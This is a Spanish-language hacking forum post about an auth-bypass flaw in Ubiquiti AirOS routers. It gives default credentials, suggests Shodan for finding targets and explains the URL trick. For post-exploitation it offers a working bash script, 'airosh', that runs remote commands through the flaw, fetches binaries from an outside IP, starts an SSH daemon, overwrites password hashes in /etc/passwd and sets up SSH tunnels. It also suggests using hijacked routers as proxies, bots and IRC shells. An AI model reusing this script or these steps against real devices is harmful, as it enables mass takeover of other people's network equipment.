Explotación, postexplotación y potencial del 0day en AirOS

  • 0 Respuestas
  • 2433 Vistas

0 Usuarios y 1 Visitante están viendo este tema.

Desconectado q3rv0

  • *
  • Underc0der
  • Mensajes: 207
  • Actividad:
    0%
  • Reputación 1
  • %ERRORLEVEL%
    • Ver Perfil
    • q3rv0
    • Email
Articulo que escribio mi amigo Nineain, despues de amagar varias veces con hacerlo, por fin se digno ese vago a teclear un par de lineas:P.
 Por supuesto que la vulnerabilidad es vieja!, seguro mas de uno anduvo jugando con algun que otro AirOs vuln, pero lo que no se explico, mas alla de como realizar la debida explotacion del bug a travez de una peticion de url forzada, fue la post explotacion de los mismos y una leve introduccion  a la arquitectura del O.S de los dispositivos.

Se los de dejo para que le echen una ojeada.







En Diciembre del 2011, sd de fucksheep.org liberó un 0day que afectaba a los sistemas AirOS (http://seclists.org/fulldisclosure/2011/Dec/419) el cual fue parcheado aunque, como suele ser costumbre, no todos los sistemas han sido actualizados.

No quiero entrar en debate de si los responsables son los usuarios, o el desarrollador, simplemente expongo el tema.

Todo esto y algo más, fue reportado a Ubiquiti, los cuales al principio agradecieron la aportación, pero en el segundo contacto pasaron del tema y ni siquiera contestaron. Consideramos que ha pasado el suficiente tiempo como para publicar la información.

Todas las pruebas han sido realizadas en dispositivos propios, en ningún momento en ajenos. Este aporte es meramente informativo, y no me responsabilizo del mal uso que se le pueda dar a esta información.
 
Me gustaria agradecer por su inestimable trabajo a PunkiD y MARCOSCARS02.

Voy a comenzar con algunos conceptos básicos necesarios para entender el reporte:

¿Qué es un AirOS y que 0day es este?

AirOS es un sistema operativo avanzado, creado por Ubiquiti, capaz de manejar un sistema Wireless, enrutamiento y mínimas características ips y seguridad. Un sistema operativo para routers que busca la sencillez y la facilidad, siendo muy intuitivo, mas información en: http://www.ubnt.com/.

Hablemos un poco del hardware. Las CPU's de los sistemas AirOS son procesadores mips (Microprocessor without Interlocked Pipeline Stages). Es una arquitectura que consume muy pocos recursos y tiene una funcionalidad aceptable. Al ser de arquitectura distinta a la de los PC's convencionales (generalmente de 32 o 64 bits), si queremos compilar algo para mips, necesitamos recurrir a la crosscompilación, es decir, compilar un programa/servicio para una arquitectura distinta a la máquina en la que estamos trabajando. Tras muchas pruebas, recurrimos a Buildroot, una utilidad de uclib que permite desde compilar el toolchain hasta herramientas típicas y básicas, una imagen de sistema, etc.

El 0day afectaba al archivo admin.cgi, el cual es capaz de mostrar el panel “Device Administration Utility” que contiene:

        Un Uploader.
        Un Chmod.
        Un Downloader.
        Una Shell.

Imágen del panel login:




Imágen del panel de administración:



Explotación

El usuario y la contraseña por defecto de los AirOS son:
    Usuario: ubnt
    Contraseña: ubnt
 
Se recomienda usar Shodan para la búsqueda de dispositivos AirOS, pero este tipo de búsquedas dejan escapar muchos dispositivos. Actualmente trabajamos en un scanner por rangos de IP para localizar todos.

Se puede observar que el error consiste en cambiar la url de una petición de login al cgi; /login.cgi/uri=/ por /admin.cgi/$vuln .
Siendo $vuln cualquiera de los sientes: *.ico *.gif, *.jpg, *.js, *.css, airview.jar.pack.gz, airview_manager.jnlp, airview.jnlp, airview.uavr.
Por ejemplo: http://IPairos/admin.cgi/lol.css
De esta forma conseguimos el panel de administración, para muchos el fin, pero esto es solo el principio.

Postexplotación

El sistema operativo que lleva montado, por defecto solo tiene permisos de lectura en la mayoría de los directorios del dispositivo. Pero en /etc hay permisos de escritura, así pues tenemos un /etc/persistent/ a modo de home en el dispositivo. Lo primero es tener consola root en el dispositivo, para poder tener el control total. A través del panel subimos y ejecutamos dropbear mas su respectiva key crosscompilados.

De esta forma ya hemos conseguido ssh. A partir de aquí, vuestra imaginación es lo importante, para ver el potencial de estos dispositivos.
Tras tener funcionales todos los binarios, tenemos un “miniserver” externo:



Tenemos un pequeño directorio con un puñado de binarios ya crosscompilados y listos para AirOS disponible en:

    http://5.175.223.63/bin/

Y empaquetado en .tar:

    http://5.175.223.63/bin.tar

Incluso podríamos incluir algunos más como ngircd (Un pequeño servidor IRC), o lo que se nos ocurra.

A continuación, vamos a pasar a automatizar estas tareas. Obviamente no puedo publicar más que un par de lineas para deja la imaginación flotar con bash y curl:

Código: Bash
  1. runcmd() { curl -L -H 'Expect: ' -F 'action=cli' -F "exec={ $SYS2[email protected]; } 2>&1" $host/admin.cgi/lol.css 2>/dev/null | grep 'Execute!'  -A 99999 | tail -n +5 | tac | tail -n +7 | tac; }
  2.  
  3.  

Aplicaciones

Algunas de las cosas que se pueden hacer con estos dispositivos son:

        Encadenar AirOS a modo de proxys (SSH Tunneling).
        Shells de IRC.
        Bots.
        Servidor IRC.
        Servidor Web/ftp/etc
        Y muchas otras que podais imaginar.

Automatización del proceso

Pasemos a automatizar todo el proceso anterior. Para ello utilizaremos el airosh de la siguiente manera:
Código: Bash
  1. ./airosh IPairos

El script se ejecutará y automáticamente comprobará si el dispositivo es vulnerable. Si es así, procederá a subir Dropbear, y a cambiar las claves de acceso, con contraseña:lol. De esta forma, habremos conseguido el acceso al dispositivo como administrador.



CODIGO: http://5.175.223.63/airosh

Código: Bash
  1. #!/bin/bash
  2.  
  3. host=$1
  4. portlocal=$2
  5. hostfinal=$3
  6. portfinal=$4
  7. unset c
  8. usage() {
  9.         # ./airosh IP
  10.         exit 1
  11. }
  12. [[ -z "$host" ]] && c=1
  13. [[ -z "$portlocal" ]] && c=2
  14. [[ -z "$hostfinal" ]] && c=2
  15. [[ -z "$portfinal" ]] && c=2
  16.  
  17. if [[ $c = 1 ]]; then
  18.         echo "FAILED!"
  19.         usage
  20. else
  21.         echo "OK"
  22. fi
  23. runcmd() { curl -L -H 'Expect: ' -F 'action=cli' -F "exec={ $SYS2[email protected]; } 2>&1" $host/admin.cgi/lol.css 2>/dev/null | grep 'Execute!'  -A 99999 | tail -n +5 | tac | tail -n +7 | tac; }
  24.  
  25. runcmd 'cd /var/persistent;wget -q http://5.175.223.63/dropbearkey;wget -q http://5.175.223.63/dropbear;chmod +x dropbearkey dropbear;'  >>/tmp/airos.log
  26.  
  27. runcmd "[[ -e /var/sshd/lol.rsa ]] || ./dropbearkey -t rsa -f /var/sshd/lol.rsa" >>/tmp/airos.log
  28.  
  29. runcmd "./dropbear -b /var/sshd/motd -r /var/sshd/lol.rsa;" >>/tmp/airos.log
  30.  
  31. runcmd 'sed -i -e "s/:[^:]*:/:$1$.et5JTtj$6U9j6CSf7g3lNfhFenOX11:/" /etc/passwd;cat /etc/passwd'
  32.  
  33. echo -en "| >>user: "
  34. read usr
  35. [[ -z "$usr" ]] && usr=admin
  36.  
  37. if [[ "$c" = 2 ]]; then
  38.         ssh -C "$usr@$host"
  39. else
  40.         ssh -g -L "0.0.0.0:$portlocal:$hostfinal:$portfinal" "$usr@$host"
  41. fi
  42. </pre>

                                                                                                                                            Besos, Nineain

Fuente: http://www.hackplayers.com

 

Explotación del Heap a través de la macro UNLINK (TUTORIAL)

Iniciado por l3x4

Respuestas: 4
Vistas: 6385
Último mensaje Agosto 06, 2018, 05:52:45 pm
por KiddArabic
XSS Chef - Chrome Extension Explotación Framework

Iniciado por ZanGetsu

Respuestas: 0
Vistas: 2385
Último mensaje Mayo 15, 2013, 03:02:27 am
por ZanGetsu
Nuevo Exploit 0day para Internet Explorer 7, 8, 9 en Windows XP, Vista y 7

Iniciado por CalebBucker

Respuestas: 1
Vistas: 4116
Último mensaje Septiembre 17, 2012, 04:49:25 pm
por Slore
[Symlink] + Bypass AdminPanel Joomla + Exploit 0day Java7

Iniciado por CalebBucker

Respuestas: 1
Vistas: 3299
Último mensaje Septiembre 06, 2012, 03:26:16 pm
por hdbreaker
[0day] FullMemory para Mozilla/3.6.6 [Creado por SkillmaX]

Iniciado por SkillmaX

Respuestas: 0
Vistas: 2307
Último mensaje Julio 07, 2010, 04:24:28 pm
por SkillmaX